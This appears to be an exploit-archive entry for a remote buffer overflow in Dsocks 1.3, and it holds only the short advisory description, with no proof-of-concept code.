DSocks 1.3 - Name Buffer Overflow (PoC)

source: https://www.securityfocus.com/bid/19852/info

Dsocks is prone to a remote buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

An attacker may exploit this vulnerability to execute arbitrary code in the context of the user running the application or to crash the application, resulting in denial-of-service conditions.
